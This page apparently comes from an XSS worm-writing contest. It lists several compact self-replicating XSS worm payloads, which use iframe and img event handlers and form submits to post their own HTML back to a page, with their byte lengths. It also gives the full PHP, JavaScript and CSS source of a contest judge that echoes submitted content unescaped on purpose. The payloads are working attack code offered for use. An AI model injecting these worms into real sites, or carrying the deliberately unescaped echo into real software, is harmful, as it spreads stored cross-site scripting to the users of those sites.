Paid Advertising
<b><iframe onload="with(new XMLHttpRequest)open('POST','post.php'),setRequestHeader('content-type','application/x-www-form-urlencoded'),send('content=<b>'.concat(parentNode.innerHTML.slice(alert('XSS'),206)))"
<b><iframe onload="with(new XMLHttpRequest)open('POST','post.php'),send('content=<b>'.concat(parentNode.innerHTML.slice(alert('XSS'),137)))"
<b><iframe onload="with(new XMLHttpRequest)open('POST','post.php'),send('content=<b>'+parentNode.innerHTML.slice(alert('XSS'),129))"
<?php
if(isset($_POST['content']))
die($_POST['content']);
?><html>
<head>
<title>try 1</title>
</head>
<body>
<script type="text/javascript">
var x=new XMLHttpRequest();
x.open("POST","post.php",false);
x.send("content=hello");
alert(x.responseText);
</script>
</body>
</html>
<b><img src='' onerror="with(new XMLHttpRequest)open('POST','post.php'),setRequestHeader('content-type','application/x-www-form-urlencoded'),send('content='+parentNode.innerHTML.bold(alert('XSS')))"></b>
<b><iframe onload="with(new XMLHttpRequest)open('POST','post.php'),setRequestHeader('content-type','application/x-www-form-urlencoded'),send('content=<b>'+parentNode.innerHTML.slice(alert('XSS'),198))"
(201 bytes)
form: 152
<form><input name='content'><img src='' onerror="i=parentNode;i.action=(i.method='post')+'.php';i[0].value='<form>'+i.innerHTML;i.submit(alert('XSS'))">
xhr: 198
<b><iframe onload="with(new XMLHttpRequest)open('POST','post.php'),setRequestHeader('content-type','application/x-www-form-urlencoded'),send('content='+parentNode.innerHTML.bold(alert('XSS')))"></b>
<?php
session_name("XSSCONTEST");
session_start();
if(isset($_GET['sc'])){
die(file_get_contents("judge1.php"));
}
if(isset($_GET['logout'])){
session_destroy();header("Location: ?");exit;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>UNOFFICIAL JUDGE OF THE "Diminutive XSS Worm Replication Contest"</title>
<script type="text/javascript" src="js.js"></script>
<style type="text/css">
@import url('css.css');
</style>
</head>
<body>
<h1>THIS IS THE UNOFFICIAL JUDGE OF THE <a href="http://sla.ckers.org/forum/read.php?2,18790">Diminutive XSS Worm Replication Contest</a></h1>
<?php
if(isset($_SESSION['content'])){
echo $_SESSION['content'];
?><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!-->
<div id="passed"> </div>
<pre>
<?php echo htmlentities($_SESSION['content']);?>
</pre>
<i>Count:<?php
echo $_SESSION['count'];
?> | Length: <?php
echo strlen($_SESSION['content'])."</i>";
}else{
?>
<form method="post" action="post.php">
<textarea name=content></textarea>
<input type=submit>
</form>
<?php
}
?>
<p>
Att. <a href="http://www.sirdarckcat.net/">sirdarckcat</a> | <a href="?sc">source code</a> | <a href="?logout">logout</a>
</p>
</body>
</html>
judge2.php
<?php
session_name("XSSCONTEST");
session_start();
if(isset($_GET['sc'])){
die(file_get_contents("judge2.php"));
}
if(isset($_GET['logout'])){
session_destroy();header("Location: ?");exit;
}
?>
<html>
<head>
<title>UNOFFICIAL JUDGE OF THE "Diminutive XSS Worm Replication Contest"</title>
<script type="text/javascript" src="js.js"></script>
<style type="text/css">
@import url('css.css');
</style>
</head>
<body>
<h1>THIS IS THE UNOFFICIAL JUDGE OF THE <a href="http://sla.ckers.org/forum/read.php?2,18790">Diminutive XSS Worm Replication Contest</a></h1>
<?php
if(isset($_SESSION['content'])){
echo $_SESSION['content'];
?><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!--><!--THIS SHOULDNT BE VISIBLE!!!!-->
<div id="passed"> </div>
<pre>
<?php echo htmlentities($_SESSION['content']);?>
</pre>
<i>Count:<?php
echo $_SESSION['count'];
?> | Length: <?php
echo strlen($_SESSION['content'])."</i>";
}else{
?>
<form method="post" action="post.php">
<textarea name=content></textarea>
<input type=submit>
</form>
<?php
}
?>
<p>
Att. <a href="http://www.sirdarckcat.net/">sirdarckcat</a> | <a href="?sc">source code</a> | <a href="?logout">logout</a>
</p>
</body>
</html>
post.php
<?php
session_name("XSSCONTEST");
session_start();
$_SESSION['count']++;
$_SESSION['content']=stripslashes($_POST['content']);
?>
<script>self.location.href=document.referrer;</script>
js.js
if(document.cookie.match(/noalert=1/)){
eval("v"+"a"+"r"+" "+"a"+"l"+"e"+"r"+"t"+"="+"'"+"'"+";");
alert=function(x){
try{
if(/^xss$/i.test(x)){
document.getElementById("passed").innerHTML="CORRECT";
}else{
with(document.getElementById("passed"))
innerText=textContent="WRONG - "+x;
}
}catch(e){
try{
window.onload=function(){
alert(x);
}
}catch(e){}
}
}
try{
var tal=function(){
document.body.appendChild(document.createElement("div")).innerHTML="Return the alert".link("javascript:document.cookie='noalert=0';location.reload();")
}
}catch(e){}
}else{
try{
var tal=function(){
document.body.appendChild(document.createElement("div")).innerHTML="Remove alert".link("javascript:document.cookie='noalert=1';location.reload();")
}
}catch(e){}
}
if(document.cookie.match(/triggerevents=1/)){
function trig(odom){
for(var i=0;i<odom.childNodes.length;i++){
try{odom.childNodes.onmouseover();}catch(e){}
try{odom.childNodes.onmousemove();}catch(e){}
try{odom.childNodes.onmousedown();}catch(e){}
try{odom.childNodes.onclick();}catch(e){}
try{odom.childNodes.onfocus();}catch(e){}
try{odom.childNodes.onmouseup();}catch(e){}
try{odom.childNodes.onblur();}catch(e){}
try{odom.childNodes.onsubmit();}catch(e){}
if(odom.childNodes.childNodes){
trig(odom.childNodes);
}
}
}
function ttv(){
trig(document.body);
}
try{
var tev=function(){
document.body.appendChild(document.createElement("div")).innerHTML="Dont trigger events".link("javascript:document.cookie='triggerevents=0';location.reload();")
}
}catch(e){}
}else{
try{
function ttv(){}
var tev=function(){
document.body.appendChild(document.createElement("div")).innerHTML="Trigger events".link("javascript:document.cookie='triggerevents=1';location.reload();")
}
}catch(e){}
}
window.onload=function(){tal();tev();ttv();}
css.css
#passed{background-color:green;color:black;}
h1 a{display:block;}
body,a{background-color:black;color:white;}
textarea{width:100%;background-color:black;color:white;}
<form><input name='content'><iframe onload="i=parentNode;i.action=(i.method='post')+'.php';i[0].value='<form>'+i.innerHTML;i.submit(alert('XSS'))">
